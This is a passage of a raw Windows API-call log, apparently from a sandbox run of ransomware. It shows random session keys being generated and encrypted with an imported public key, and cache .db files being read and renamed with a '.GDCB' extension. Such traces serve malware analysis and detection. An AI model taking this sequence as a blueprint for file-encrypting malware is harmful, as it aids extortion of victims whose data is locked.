phKey=0x285d9c8 | out: phKey=0x285d9c8*=0x677e788) returned 1 [0246.393] CryptGetKeyParam (in: hKey=0x677e788, dwParam=0x8, pbData=0x285d9b4, pdwDataLen=0x285d9bc, dwFlags=0x0 | out: pbData=0x285d9b4*=0x800, pdwDataLen=0x285d9bc*=0x4) returned 1 [0246.393] CryptEncrypt (in: hKey=0x677e788, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xc6e0000*, pdwDataLen=0x285db3c*=0xc8, dwBufLen=0x800 | out: pbData=0xc6e0000*, pdwDataLen=0x285db3c*=0x100) returned 1 [0246.393] GetLastError () returned 0x0 [0246.393] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0246.393] CryptAcquireContextW (in: phProv=0x285d9c4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d9c4*=0x5c4e48) returned 1 [0246.395] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d9c8 | out: phKey=0x285d9c8*=0x677e2c8) returned 1 [0246.395] CryptGetKeyParam (in: hKey=0x677e2c8, dwParam=0x8, pbData=0x285d9b4, pdwDataLen=0x285d9bc, dwFlags=0x0 | out: pbData=0x285d9b4*=0x800, pdwDataLen=0x285d9bc*=0x4) returned 1 [0246.395] CryptEncrypt (in: hKey=0x677e2c8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xc6f0000*, pdwDataLen=0x285db40*=0xc8, dwBufLen=0x800 | out: pbData=0xc6f0000*, pdwDataLen=0x285db40*=0x100) returned 1 [0246.395] GetLastError () returned 0x0 [0246.395] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0246.395] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\Caches\\{3DA71D5A-20CC-432F-A115-DFE92379E91F}.1.ver0x0000000000000033.db" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\caches\\{3da71d5a-20cc-432f-a115-dfe92379e91f}.1.ver0x0000000000000033.db"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x508 [0246.396] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xc700000 [0246.399] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xc710000 [0246.401] ReadFile (in: hFile=0x508, lpBuffer=0xc710000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285db80, lpOverlapped=0x0 | out: lpBuffer=0xc710000*, lpNumberOfBytesRead=0x285db80*=0x1ae80, lpOverlapped=0x0) returned 1 [0246.410] VirtualAlloc (lpAddress=0x0, dwSize=0x1ae80, flAllocationType=0x3000, flProtect=0x4) returned 0xc820000 [0246.419] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\Caches\\{3DA71D5A-20CC-432F-A115-DFE92379E91F}.1.ver0x0000000000000033.db" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\caches\\{3da71d5a-20cc-432f-a115-dfe92379e91f}.1.ver0x0000000000000033.db"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\Caches\\{3DA71D5A-20CC-432F-A115-DFE92379E91F}.1.ver0x0000000000000033.db.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\caches\\{3da71d5a-20cc-432f-a115-dfe92379e91f}.1.ver0x0000000000000033.db.gdcb")) returned 1 [0246.423] CryptAcquireContextW (in: phProv=0x285d9d4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d9d4*=0x5c4980) returned 1 [0246.426] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0246.428] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0246.428] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x10, pbBuffer=0x285db24 | out: pbBuffer=0x285db24) returned 1 [0246.428] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0246.428] CryptAcquireContextW (in: phProv=0x285d9d4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d9d4*=0x5c4e48) returned 1 [0246.431] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0246.433] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0246.434] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285daf0 | out: pbBuffer=0x285daf0) returned 1 [0246.434] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0246.434] CryptAcquireContextW (in: phProv=0x285d9c4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d9c4*=0x5c4e48) returned 1 [0246.437] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d9c8 | out: phKey=0x285d9c8*=0x677e388) returned 1 [0246.437] CryptGetKeyParam (in: hKey=0x677e388, dwParam=0x8, pbData=0x285d9b4, pdwDataLen=0x285d9bc, dwFlags=0x0 | out: pbData=0x285d9b4*=0x800, pdwDataLen=0x285d9bc*=0x4) returned 1 [0246.437] CryptEncrypt (in: hKey=0x677e388, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xc6e0000*, pdwDataLen=0x285db3c*=0xc8, dwBufLen=0x800 | out: pbData=0xc6e0000*, pdwDataLen=0x285db3c*=0x100) returned 1 [0246.437] GetLastError () returned 0x0 [0246.437] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0246.437] CryptAcquireContextW (in: phProv=0x285d9c4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d9c4*=0x5c4760) returned 1 [0246.439] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d9c8 | out: phKey=0x285d9c8*=0x677e108) returned 1 [0246.439] CryptGetKeyParam (in: hKey=0x677e108, dwParam=0x8, pbData=0x285d9b4, pdwDataLen=0x285d9bc, dwFlags=0x0 | out: pbData=0x285d9b4*=0x800, pdwDataLen=0x285d9bc*=0x4) returned 1 [0246.439] CryptEncrypt (in: hKey=0x677e108, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xc6f0000*, pdwDataLen=0x285db40*=0xc8, dwBufLen=0x800 | out: pbData=0xc6f0000*, pdwDataLen=0x285db40*=0x100) returned 1 [0246.439] GetLastError () returned 0x0 [0246.439] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0246.439] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\Caches\\{3DA71D5A-20CC-432F-A115-DFE92379E91F}.1.ver0x0000000000000034.db" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\caches\\{3da71d5a-20cc-432f-a115-dfe92379e91f}.1.ver0x0000000000000034.db"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x508 [0246.441] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xc700000 [0246.444] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xc710000 [0246.446] ReadFile (in: hFile=0x508, lpBuffer=0xc710000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285db80, lpOverlapped=0x0 | out: lpBuffer=0xc710000*, lpNumberOfBytesRead=0x285db80*=0x1b740, lpOverlapped=0x0) returned 1 [0246.457] VirtualAlloc (lpAddress=0x0, dwSize=0x1b740, flAllocationType=0x3000, flProtect=0x4) returned 0xc820000 [0246.467] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\Caches\\{3DA71D5A-20CC-432F-A115-DFE92379E91F}.1.ver0x0000000000000034.db" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\caches\\{3da71d5a-20cc-432f-a115-dfe92379e91f}.1.ver0x0000000000000034.db"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\Caches\\{3DA71D5A-20CC-432F-A115-DFE92379E91F}.1.ver0x0000000000000034.db.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\caches\\{3da71d5a-20cc-432f-a115-dfe92379e91f}.1.ver0x0000000000000034.db.gdcb")) returned 1 [0246.472] CryptAcquireContextW (in: phProv=0x285d9d4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d9d4*=0x5c4760) returned 1 [0246.476] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0246.479] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0246.479] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285db24 | out: pbBuffer=0x285db24) returned 1 [0246.479] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0246.479] CryptAcquireContextW (in: phProv=0x285d9d4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d9d4*=0x5c4e48) returned 1 [0246.482] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0246.484] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0246.484] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285daf0 | out: pbBuffer=0x285daf0) returned 1 [0246.484] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0246.484] CryptAcquireContextW (in: phProv=0x285d9c4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d9c4*=0x5c4e48) returned 1 [0246.488] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d9c8 | out: phKey=0x285d9c8*=0x677e7c8) returned 1 [0246.488] CryptGetKeyParam (in: hKey=0x677e7c8, dwParam=0x8, pbData=0x285d9b4, pdwDataLen=0x285d9bc, dwFlags=0x0 | out: pbData=0x285d9b4*=0x800, pdwDataLen=0x285d9bc*=0x4) returned 1 [0246.488] CryptEncrypt (in: hKey=0x677e7c8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xc6e0000*, pdwDataLen=0x285db3c*=0xc8, dwBufLen=0x800 | out: pbData=0xc6e0000*, pdwDataLen=0x285db3c*=0x100) returned 1 [0246.488] GetLastError () returned 0x0 [0246.488] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0246.488] CryptAcquireContextW (in: phProv=0x285d9c4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d9c4*=0x5c4e48) returned 1 [0246.490] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d9c8 | out: phKey=0x285d9c8*=0x677e1c8) returned 1 [0246.490] CryptGetKeyParam (in: hKey=0x677e1c8, dwParam=0x8, pbData=0x285d9b4, pdwDataLen=0x285d9bc, dwFlags=0x0 | out: pbData=0x285d9b4*=0x800, pdwDataLen=0x285d9bc*=0x4) returned 1 [0246.490] CryptEncrypt (in: hKey=0x677e1c8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xc6f0000*, pdwDataLen=0x285db40*=0xc8, dwBufLen=0x800 | out: pbData=0xc6f0000*, pdwDataLen=0x285db40*=0x100) returned 1 [0246.490] GetLastError () returned 0x0 [0246.490] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0246.490] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\Caches\\{3DA71D5A-20CC-432F-A115-DFE92379E91F}.1.ver0x0000000000000035.db" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\caches\\{3da71d5a-20cc-432f-a115-dfe92379e91f}.1.ver0x0000000000000035.db"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x508 [0246.491] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xc700000 [0246.494] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xc710000 [0246.497] ReadFile (in: hFile=0x508, lpBuffer=0xc710000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285db80, lpOverlapped=0x0 | out: lpBuffer=0xc710000*, lpNumberOfBytesRead=0x285db80*=0x1a3b8, lpOverlapped=0x0) returned 1 [0246.506] VirtualAlloc (lpAddress=0x0, dwSize=0x1a3c0, flAllocationType=0x3000, flProtect=0x4) returned 0xc820000 [0246.515] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\Caches\\{3DA71D5A-20CC-432F-A115-DFE92379E91F}.1.ver0x0000000000000035.db" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\caches\\{3da71d5a-20cc-432f-a115-dfe92379e91f}.1.ver0x0000000000000035.db"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\Caches\\{3DA71D5A-20CC-432F-A115-DFE92379E91F}.1.ver0x0000000000000035.db.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\caches\\{3da71d5a-20cc-432f-a115-dfe92379e91f}.1.ver0x0000000000000035.db.gdcb")) returned 1 [0246.518] CryptAcquireContextW (in: phProv=0x285d9d4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d9d4*=0x5c4980) returned 1 [0246.522] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0246.524] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0246.524] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x10, pbBuffer=0x285db24 | out: pbBuffer=0x285db24) returned 1 [0246.524] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0246.524] CryptAcquireContextW (in: phProv=0x285d9d4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d9d4*=0x5c4e48) returned 1 [0246.526] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0246.528] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0246.528] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285daf0 | out: pbBuffer=0x285daf0) returned 1 [0246.528] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0246.529] CryptAcquireContextW (in: phProv=0x285d9c4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d9c4*=0x5c4760) returned 1 [0246.531] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d9c8 | out: phKey=0x285d9c8*=0x677e5c8) returned 1 [0246.531] CryptGetKeyParam (in: hKey=0x677e5c8, dwParam=0x8, pbData=0x285d9b4, pdwDataLen=0x285d9bc, dwFlags=0x0 | out: pbData=0x285d9b4*=0x800, pdwDataLen=0x285d9bc*=0x4) returned 1 [0246.531] CryptEncrypt (in: hKey=0x677e5c8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xc6e0000*, pdwDataLen=0x285db3c*=0xc8, dwBufLen=0x800 | out: pbData=0xc6e0000*, pdwDataLen=0x285db3c*=0x100) returned 1 [0246.531] GetLastError () returned 0x0 [0246.531] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0246.531] CryptAcquireContextW (in: phProv=0x285d9c4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d9c4*=0x5c4760) returned 1 [0246.533] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d9c8 | out: phKey=0x285d9c8*=0x677e608) returned 1 [0246.533] CryptGetKeyParam (in: hKey=0x677e608, dwParam=0x8, pbData=0x285d9b4, pdwDataLen=0x285d9bc, dwFlags=0x0 | out: pbData=0x285d9b4*=0x800, pdwDataLen=0x285d9bc*=0x4) returned 1 [0246.533] CryptEncrypt (in: hKey=0x677e608, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xc6f0000*, pdwDataLen=0x285db40*=0xc8, dwBufLen=0x800 | out: pbData=0xc6f0000*, pdwDataLen=0x285db40*=0x100) returned 1 [0246.533] GetLastError () returned 0x0 [0246.533] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0246.533] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\Caches\\{AFBF9F1A-8EE8-4C77-AF34-C647E37CA0D9}.1.ver0x0000000000000012.db" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\caches\\{afbf9f1a-8ee8-4c77-af34-c647e37ca0d9}.1.ver0x0000000000000012.db"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x508 [0246.534] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xc700000 [0246.537] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xc710000 [0246.539] ReadFile (in: hFile=0x508, lpBuffer=0xc710000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285db80, lpOverlapped=0x0 | out: lpBuffer=0xc710000*, lpNumberOfBytesRead=0x285db80*=0x21fa0, lpOverlapped=0x0) returned 1 [0246.570] VirtualAlloc (lpAddress=0x0, dwSize=0x21fa0, flAllocationType=0x3000, flProtect=0x4) returned 0xc820000 [0246.579] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\Caches\\{AFBF9F1A-8EE8-4C77-AF34-C647E37CA0D9}.1.ver0x0000000000000012.db" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\caches\\{afbf9f1a-8ee8-4c77-af34-c647e37ca0d9}.1.ver0x0000000000000012.db"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\Caches\\{AFBF9F1A-8EE8-4C77-AF34-C647E37CA0D9}.1.ver0x0000000000000012.db.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\caches\\{afbf9f1a-8ee8-4c77-af34-c647e37ca0d9}.1.ver0x0000000000000012.db.gdcb")) returned 1 [0246.583] CryptAcquireContextW (in: phProv=0x285d9d4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d9d4*=0x5c4760) returned 1 [0246.585] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0246.588] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0246.588] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285db24 | out: pbBuffer=0x285db24) returned 1 [0246.588] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0246.588] CryptAcquireContextW (in: phProv=0x285d9d4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d9d4*=0x5c4e48) returned 1 [0246.591] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0246.593] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0246.593] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285daf0 | out: pbBuffer=0x285daf0) returned 1 [0246.593] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0246.593] CryptAcquireContextW (in: phProv=0x285d9c4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d9c4*=0x5c4e48) returned 1 [0246.596] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d9c8 | out: phKey=0x285d9c8*=0x677e648) returned 1 [0246.596] CryptGetKeyParam (in: hKey=0x677e648, dwParam=0x8, pbData=0x285d9b4, pdwDataLen=0x285d9bc, dwFlags=0x0 | out: pbData=0x285d9b4*=0x800, pdwDataLen=0x285d9bc*=0x4) returned 1 [0246.596] CryptEncrypt (in: hKey=0x677e648, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xc6e0000*, pdwDataLen=0x285db3c*=0xc8, dwBufLen=0x800 | out: pbData=0xc6e0000*, pdwDataLen=0x285db3c*=0x100) returned 1 [0246.596] GetLastError () returned 0x0 [0246.596] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0246.596] CryptAcquireContextW (in: phProv=0x285d9c4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d9c4*=0x5c4760) returned 1 [0246.598] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d9c8 | out: phKey=0x285d9c8*=0x677e688) returned 1 [0246.598] CryptGetKeyParam (in: hKey=0x677e688, dwParam=0x8, pbData=0x285d9b4, pdwDataLen=0x285d9bc, dwFlags=0x0 | out: pbData=0x285d9b4*=0x800, pdwDataLen=0x285d9bc*=0x4) returned 1 [0246.598] CryptEncrypt (in: hKey=0x677e688, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xc6f0000*, pdwDataLen=0x285db40*=0xc8, dwBufLen=0x800 | out: pbData=0xc6f0000*, pdwDataLen=0x285db40*=0x100) returned 1 [0246.599] GetLastError () returned 0x0 [0246.599] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0246.599] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\Caches\\{AFBF9F1A-8EE8-4C77-AF34-C647E37CA0D9}.1.ver0x0000000000000013.db" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\caches\\{afbf9f1a-8ee8-4c77-af34-c647e37ca0d9}.1.ver0x0000000000000013.db"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x508 [0246.600] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xc700000 [0246.603] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xc710000 [0246.606] ReadFile (in: hFile=0x508, lpBuffer=0xc710000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285db80, lpOverlapped=0x0 | out: lpBuffer=0xc710000*, lpNumberOfBytesRead=0x285db80*=0x189b8, lpOverlapped=0x0) returned 1 [0246.636] VirtualAlloc (lpAddress=0x0, dwSize=0x189c0, flAllocationType=0x3000, flProtect=0x4) returned 0xc820000 [0246.699] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\Caches\\{AFBF9F1A-8EE8-4C77-AF34-C647E37CA0D9}.1.ver0x0000000000000013.db" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\caches\\{afbf9f1a-8ee8-4c77-af34-c647e37ca0d9}.1.ver0x0000000000000013.db"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\Caches\\{AFBF9F1A-8EE8-4C77-AF34-C647E37CA0D9}.1.ver0x0000000000000013.db.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\caches\\{afbf9f1a-8ee8-4c77-af34-c647e37ca0d9}.1.ver0x0000000000000013.db.gdcb")) returned 1 [0246.705] CryptAcquireContextW (in: phProv=0x285d9d4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d9d4*=0x5c4980) returned 1 [0246.709] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0246.711] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0246.711] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x10, pbBuffer=0x285db24 | out: pbBuffer=0x285db24) returned 1 [0246.711] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0246.711] CryptAcquireContextW (in: phProv=0x285d9d4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d9d4*=0x5c4e48) returned 1 [0246.714] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0246.716] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0246.716] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285daf0 | out: pbBuffer=0x285daf0) returned 1 [0246.716] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0246.716] CryptAcquireContextW (in: phProv=0x285d9c4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d9c4*=0x5c4760) returned 1 [0246.718] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d9c8 | out: phKey=0x285d9c8*=0x677e088) returned 1 [0246.719] CryptGetKeyParam (in: hKey=0x677e088, dwParam=0x8, 